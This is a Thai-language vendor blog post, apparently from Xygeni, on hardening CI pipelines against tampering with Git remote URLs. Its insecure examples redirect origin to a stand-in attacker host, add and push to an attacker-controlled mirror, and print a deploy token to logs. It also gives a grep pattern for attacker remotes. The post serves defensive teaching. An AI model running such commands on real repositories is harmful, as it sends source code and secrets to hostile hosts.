git remote set-url - git set url for remote - git add remote

เมื่อคำสั่ง `Git remote set-url` กลายเป็นความเสี่ยงในห่วงโซ่อุปทาน

ความเสี่ยงที่ซ่อนอยู่เบื้องหลังคำสั่ง Git ง่ายๆ

สำหรับนักพัฒนาส่วนใหญ่ การรันคำสั่งอย่างเช่น git remote set-url origin นั้นง่ายมาก รู้สึกเหมือนเป็นกิจวัตรประจำวัน เป็นเพียงอีกขั้นตอนหนึ่งในการบำรุงรักษาการตั้งค่า Git สคริปต์ CI มักจะเรียกใช้คำสั่งต่างๆ เช่น git remote set-url, Git set url for remote หรือ Git remote add เพื่อดึงหรือผลักดันโค้ดระหว่างการสร้าง แต่ความเสี่ยงก็คือ หากผู้โจมตีเข้าไปแก้ไขการตั้งค่าดังกล่าว (ไม่ว่าจะในเครื่องหรือในระบบ CI) พวกเขาสามารถเปลี่ยนเส้นทางซอร์สโค้ดของคุณไปยังแหล่งเก็บข้อมูลที่เป็นอันตราย ดักจับข้อมูลประจำตัว หรือแทรกมัลแวร์ในห่วงโซ่อุปทานได้

ตัวอย่างการใช้งานโดยทั่วไป:

# การใช้งานที่ถูกต้อง

git remote set-url origin https://github.com/org/project.git

⚠️ ตัวอย่างที่ไม่ปลอดภัยนี้จัดทำขึ้นเพื่อการศึกษาเท่านั้น ห้ามนำไปใช้ในการผลิตจริง

				
					# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git

				
			

รักษาความปลอดภัยเวอร์ชัน ใส่รหัส PIN และตรวจสอบแหล่งที่มาของที่เก็บข้อมูล

				
					# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.

				
			

ทำไม? เพราะหากรีโมตถูกเปลี่ยนไปเป็นโฮสต์ที่ผู้โจมตีควบคุม การเรียกใช้คำสั่ง git fetch/git push ครั้งต่อๆ ไปจะชี้ไปยังโค้ดที่เป็นอันตราย ควรระบุแหล่งที่มาที่เชื่อถือได้แบบตายตัวเมื่อเป็นไปได้ และหลีกเลี่ยง URL แบบไดนามิกที่ไม่ได้รับการตรวจสอบความถูกต้อง

การควบคุมระยะไกลส่งผลเสียต่อการสร้างอย่างไร Pipeline

การแก้ไข URL ของ Git remote อาจส่งผลร้ายแรงต่อระบบอัตโนมัติ pipelineในกรณีที่สคริปต์ได้รับการไว้วางใจโดยปริยาย

ตัวอย่างสถานการณ์:

  • สคริปต์ CI ใช้คำสั่ง git remote set-url เพื่อกำหนดค่า repository ใหม่แบบไดนามิก
  • มีการแทรกตัวแปรสภาพแวดล้อมที่เสียหาย (เช่น โทเค็นหรือ URL ของที่เก็บข้อมูล) เข้าไปในสคริปต์
  • กระบวนการสร้างนี้จะดึงหรือส่งโค้ดไปยังที่เก็บโค้ดที่เป็นอันตราย
  • ผู้โจมตีแทรกช่องโหว่หรือแก้ไขส่วนประกอบต่างๆ ของระบบ

⚠️ ตัวอย่างที่ไม่ปลอดภัยนี้จัดทำขึ้นเพื่อการศึกษาเท่านั้น ห้ามนำไปใช้ในการผลิตจริง

				
					# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
  - name: Set remote
    run: git remote set-url origin $REPO_URL
  - name: Build and deploy
    run: npm install && npm run build

				
			

เวอร์ชันที่ปลอดภัย โปรดตรวจสอบ $REPO_URL ก่อนใช้งาน (รายการที่อนุญาต / การตรวจสอบโดย xygeni)

				
					# ✅ CI/CD pipeline with validation guardrail
steps:
  - name: Validate REPO_URL
    run: |
      # Educational note: never accept raw URLs without validation.
      if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
        echo "Untrusted repo origin: $REPO_URL" && exit 1
      fi
  - name: Set remote (safe)
    run: git remote set-url origin "$REPO_URL"
  - name: Build and deploy
    run: npm ci && npm run build

				
			

ทำไม: ตรวจสอบความถูกต้องของ URL ของ repository ที่เข้ามาโดยเทียบกับ whitelist ที่ได้รับการดูแลรักษา (หรือใช้ xygeni verify --git-origin) ก่อนที่จะดำเนินการใดๆ วิธีนี้จะป้องกันไม่ให้ผู้โจมตีแก้ไขตัวแปรสภาพแวดล้อมเพื่อเปลี่ยนเส้นทาง pipelines.

การตรวจจับการเปลี่ยนแปลงที่ไม่ได้รับอนุญาตในการกำหนดค่าระยะไกล

Git ไม่แจ้งเตือนคุณเมื่อมีการแก้ไขไฟล์รีโมต การตรวจสอบเชิงรุกของ... .git/config และจำเป็นต้องมีการตรวจสอบความสมบูรณ์ก่อนการสร้าง

เทคนิคการตรวจจับเชิงปฏิบัติ

  • ตรวจสอบการตั้งค่า Git:

     
    git remote -v

    เปรียบเทียบผลลัพธ์กับ URL ที่คาดหวังซึ่งจัดเก็บไว้ในฐานข้อมูลที่ปลอดภัย

  • ตรวจสอบ .git/config ความซื่อสัตย์:

     
    sha256sum .git/config

    เปรียบเทียบค่าตรวจสอบความถูกต้องกับค่ามาตรฐานที่เชื่อถือได้

  • การตรวจสอบความถูกต้องโดยใช้ CI:

     
    validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git

หมายเหตุให้ความรู้: อย่าทำการตรวจสอบความถูกต้องหรือคำสั่งยืนยันโดยใช้ข้อมูลประจำตัวที่มีอายุการใช้งานยาวนานซึ่งเปิดเผยอยู่ในบันทึกหรือสภาพแวดล้อมที่ไม่ได้รับการป้องกัน ให้ใช้ข้อมูลประจำตัวชั่วคราว ข้อมูลลับที่จัดเก็บไว้อย่างปลอดภัย และหลีกเลี่ยงการเรียกใช้คำสั่งตรวจสอบความถูกต้องในฐานะผู้ใช้ที่มีสิทธิ์พิเศษหากเป็นไปได้

เคล็ดลับการตรวจจับ: มองหารีโมตที่ชี้ไปยังโดเมนที่ไม่เป็นไปตามมาตรฐาน (ไม่คาดคิด) .net, .ioเช่น ที่อยู่ IP ที่ซ้ำกัน ชื่อรีโมตที่ซ้ำกัน หรือตัวแปรสภาพแวดล้อมที่ควบคุม URL ของที่เก็บข้อมูลโดยไม่มีการตรวจสอบ การตรวจพบตั้งแต่เนิ่นๆ จะช่วยป้องกันปัญหาเหล่านี้ได้ git set-url การดัดแปลงจากการสร้างที่ปนเปื้อน

การรักษาความปลอดภัยแหล่งที่มาของที่เก็บข้อมูลด้วย Guardrails และการตรวจสอบแฮช

การป้องกันหมายถึงการบังคับใช้มาตรการควบคุมที่เข้มงวดเกี่ยวกับแหล่งเก็บข้อมูลที่คุณใช้ในการสร้างโปรแกรม Guardrails รวมถึงการลงนาม การตรวจสอบความถูกต้องของแฮช และการจำกัดผู้ที่สามารถแก้ไขตัวแปร CI ได้

แนวปฏิบัติที่ปลอดภัยสำหรับความสมบูรณ์ของที่เก็บข้อมูล

ตรึง URL ของแหล่งเก็บข้อมูล และกำหนดแหล่งที่มาที่เชื่อถือได้แบบตายตัวในกรณีที่ทำได้:

				
					# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD

				
			

ตรวจสอบความถูกต้องของแฮชของที่เก็บข้อมูล:

ตรวจสอบให้แน่ใจว่า HEAD ตรงกับค่าแฮชที่คาดไว้ก่อนทำการสร้าง

⚠️ ตัวอย่างที่ไม่ปลอดภัย การพิมพ์โทเค็นลงในบันทึก (ห้ามใช้ในสภาพแวดล้อมการใช้งานจริง)

				
					# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"

				
			

เวอร์ชันที่ปลอดภัย อ่านข้อมูลลับจากคลัง และห้ามพิมพ์เด็ดขาด

				
					# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.

				
			

รายการตรวจสอบฉบับย่อ: การจัดการ Git จากระยะไกลอย่างปลอดภัย

  • บังคับใช้ การอนุญาตหรือการตรวจสอบ URL ระยะไกล.
  • ตรวจสอบความถูกต้องของไฟล์ .git/config ก่อนทำการสร้างบิลด์
  • ต้องมีลายเซ็น commits และแท็ก
  • จำกัดผู้ที่สามารถแก้ไขตัวแปรสภาพแวดล้อม CI ได้
  • บันทึกการทำงานของคำสั่ง git remote set-url และ git remote add เพื่อใช้ในการตรวจสอบ

การผสานรวมการตรวจสอบความถูกต้องของ URL ของ Git Remote Set เข้ากับ... CI/CD Pipelines

เพิ่ม guardrails และระบบตรวจสอบอัตโนมัติเพื่อหยุดการแทรกแซงจากระยะไกลตั้งแต่เนิ่นๆ pipeline.

ตัวอย่างระบบป้องกัน: ตรวจสอบรีโมทที่ซ้ำกันหรือรีโมทที่ไม่ได้รับอนุญาต

				
					# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
  - name: Check remotes
    run: |
      git remote -v > /tmp/remotes.txt
      if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
        echo "Unauthorized remote detected" && exit 1
      fi
      # Validate current origin matches expected
      if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
        echo "Origin verification failed" && exit 1
      fi

				
			

การเสริมความแข็งแกร่งเพื่อป้องกันการปลอมแปลงในห่วงโซ่อุปทานในสภาพแวดล้อมที่ใช้ร่วมกัน

การใช้ Shared Runner และคำสั่ง Remote ที่อนุญาตอย่างเสรีนั้นมีความเสี่ยงสูง ควรหลีกเลี่ยงคำสั่งที่เพิ่ม Remote ที่ไม่ได้รับการตรวจสอบในระหว่างการทำงานของ Job

⚠️ ตัวอย่างที่ไม่ปลอดภัย คือ การเพิ่มการเข้าถึงระยะไกลของผู้โจมตี (ห้ามใช้)

				
					# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git

				
			

เวอร์ชันที่ปลอดภัย จำกัดเฉพาะโดเมนที่ได้รับการตรวจสอบแล้ว และใช้ –set-url เฉพาะกับต้นทางที่ได้รับอนุมัติเท่านั้น

				
					# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
  git remote add backup "$REMOTE_URL"
else
  echo "Refusing to add unapproved remote" && exit 1
fi

				
			

หมายเหตุ: ควรเลือกใช้ตัวเรียกใช้งานชั่วคราวและหลีกเลี่ยงการใช้แคชร่วมกันแบบถาวรระหว่างงานต่างๆ

หมายเหตุเกี่ยวกับรันเนอร์: ให้ใช้รันเนอร์ชั่วคราวที่แยกต่างหากและสร้างขึ้นใหม่สำหรับแต่ละงาน ดิสก์ที่ใช้ร่วมกันหรือแคชอาจทำให้ไฟล์ที่ถูกแก้ไขยังคงอยู่ข้ามการสร้างบิลด์ได้

การผสานรวม URL ของชุด Git สำหรับการตรวจสอบความถูกต้องระยะไกลเข้ากับ CI/CD Pipelines

การรักษาความปลอดภัยในการใช้งานคำสั่ง `git remote set-url` ไม่ได้ขึ้นอยู่กับการตรวจสอบด้วยตนเองเพียงอย่างเดียว แต่ยังขึ้นอยู่กับการใช้ระบบอัตโนมัติด้วย เวิร์กโฟลว์ DevSecOps สมัยใหม่สามารถผสานการตรวจสอบความถูกต้องเข้าไว้ด้วยกันได้โดยตรง CI/CD pipelines.

ตัวอย่าง: การตรวจสอบความถูกต้องของข้อมูลระยะไกลแบบอัตโนมัติ

				
					stages:
  - validate
  - build


validate-repo:
  script:
    - echo "Validating repository origin..."
    - xygeni enforce --policy git-origin.yaml
    - xygeni scan --detect-remote-tampering

				
			

การกำหนดค่านี้ทำให้มั่นใจได้ว่าก่อนที่จะมีการสร้างหรือปรับใช้ใดๆ จะเกิดขึ้น pipeline ตรวจสอบความถูกต้อง:

  • URL ของที่เก็บข้อมูลตรงกับค่าที่คาดไว้
  • Commit ลายเซ็นนั้นถูกต้อง
  • ไม่มีการเพิ่มรีโมตที่ไม่คาดคิดใดๆ โดยใช้คำสั่ง git add remote

การควบคุม CI เพิ่มเติม

  • Pre-commit hooksตรวจสอบให้แน่ใจว่าไม่มีผู้ที่ไม่ได้รับอนุญาต git remote set-url คำสั่งต่างๆ มีอยู่ใน commits.
  • การบังคับใช้นโยบายในรูปแบบโค้ด: กำหนดแหล่งที่มาที่อนุญาตเป็นส่วนหนึ่งของนโยบายที่ควบคุมเวอร์ชัน
  • การทำสำเนาการพึ่งพา: ดึงโค้ดจากสำเนาภายในที่ได้รับการตรวจสอบแล้ว แทนที่จะดึงจากแหล่งข้อมูลทางอินเทอร์เน็ตโดยตรง

การทำให้การตรวจสอบเหล่านี้เป็นไปโดยอัตโนมัติ ไม่เพียงแต่ป้องกันการตั้งค่าที่ไม่ถูกต้องเท่านั้น แต่ยังตรวจจับความพยายามในการดัดแปลงแก้ไขในห่วงโซ่อุปทานก่อนที่โค้ดจะถูกส่งออกไปอีกด้วย

การเสริมความแข็งแกร่งเพื่อป้องกันการปลอมแปลงในห่วงโซ่อุปทานในสภาพแวดล้อมที่ใช้ร่วมกัน

การใช้รันเนอร์ร่วมกันหรือสภาพแวดล้อม CI ชั่วคราวทำให้เกิดความเสี่ยงเพิ่มเติม เมื่อบิลด์หลายรายการใช้ทรัพยากรร่วมกัน คำสั่ง git remote set-url หรือ git add remote สามารถถูกใช้เป็นอาวุธเพื่อคงรีโมทที่เป็นอันตรายไว้ได้ตลอดเซสชัน

สถานการณ์การโจมตีทั่วไป

สคริปต์การสร้างที่ถูกบุกรุกจะเพิ่มรีโมตใหม่เพื่อพุชโค้ดไปยังที่เก็บโค้ดของผู้โจมตี:

git add remote backup https://attacker.example.com/repo.git

git push backup main

  • โปรเจกต์อื่นที่ทำงานบนเอเจนต์ CI เดียวกัน ดึงข้อมูลจากสถานะที่ปนเปื้อนนี้
  • ข้อมูลสำคัญ เช่น โทเค็น หรือไฟล์ที่ได้จากการสร้างโปรแกรม อาจรั่วไหลผ่านการส่งข้อมูลโดยไม่ได้รับอนุญาต

มาตรการเสริมความแข็งแกร่ง

  • นักวิ่งชั่วคราว: รีเซ็ตสภาพแวดล้อม CI หลังจากการสร้างแต่ละครั้ง
  • การแยกเครือข่าย: จำกัดการส่งข้อมูลขาออกไปยังโดเมนที่ได้รับอนุญาตเท่านั้น
  • สิทธิพิเศษน้อยที่สุด: จำกัดสิทธิ์การเข้าถึงสำหรับการดำเนินการ Git ใน pipelines.
  • การลงนามในโบราณวัตถุ: ตรวจสอบให้แน่ใจว่าผลลัพธ์การสร้างทั้งหมดได้รับการลงนามและตรวจสอบด้วยวิธีการเข้ารหัสลับ

ด้วยการผสานรวมการแยกส่วน การตรวจสอบความถูกต้อง และการเฝ้าระวัง ทีมงานสามารถป้องกันการโจมตีที่ใช้ประโยชน์จากคำสั่ง git set url เพื่อควบคุมการทำงานจากระยะไกลได้

ตรวจสอบ ตรวจติดตาม และสร้างระบบอัตโนมัติเพื่อความน่าเชื่อถือของคลังข้อมูล

การใช้คำสั่ง `git remote set-url` ผิดวิธีเพียงครั้งเดียว หรือการเพิ่ม `git add remote` โดยไม่ตรวจสอบ อาจทำให้กระบวนการสร้างโปรแกรมทั้งหมดของคุณถูกเปลี่ยนเส้นทางไปยังที่เก็บข้อมูลที่ผู้โจมตีควบคุมได้โดยไม่รู้ตัว เส้นแบ่งระหว่างประสิทธิภาพการทำงานและการถูกโจมตีใน DevOps นั้นบางลงกว่าที่เคย และ การโจมตีห่วงโซ่อุปทานซอฟต์แวร์ ใช้ประโยชน์จากจุดนั้นโดยตรง

เพื่อรักษาความไว้วางใจในตัวคุณ pipelines:

แพลตฟอร์มเช่น ไซเกนี ช่วยให้ทีม DevSecOps ตรวจจับการตั้งค่าระยะไกลที่ไม่ถูกต้อง ตรวจสอบขอบเขตความเชื่อถือของที่เก็บข้อมูล และบล็อกความเสี่ยงในห่วงโซ่อุปทานที่เกิดจากการใช้ Git ในทางที่ผิด ก่อนที่ผู้ไม่ประสงค์ดีจะมีโอกาสปรับใช้โค้ดได้

เชื่อมั่นในขั้นตอนการทำงานของคุณ แต่ตรวจสอบแหล่งที่มาให้แน่ใจ นั่นคือวิธีที่คุณจะป้องกันไม่ให้คำสั่ง `git remote set-url` กลายเป็นช่องโหว่ด้านความปลอดภัยครั้งต่อไปของคุณ

sca-tools-software-composition-analysis-tools
จัดลำดับความสำคัญ แก้ไข และรักษาความปลอดภัยความเสี่ยงด้านซอฟต์แวร์ของคุณ
สมัครบัญชีฟรีได้เลย
ไม่ต้องใช้บัตรเครดิต

รักษาความปลอดภัยในการพัฒนาและส่งมอบซอฟต์แวร์ของคุณ

ด้วยชุดผลิตภัณฑ์ Xygeni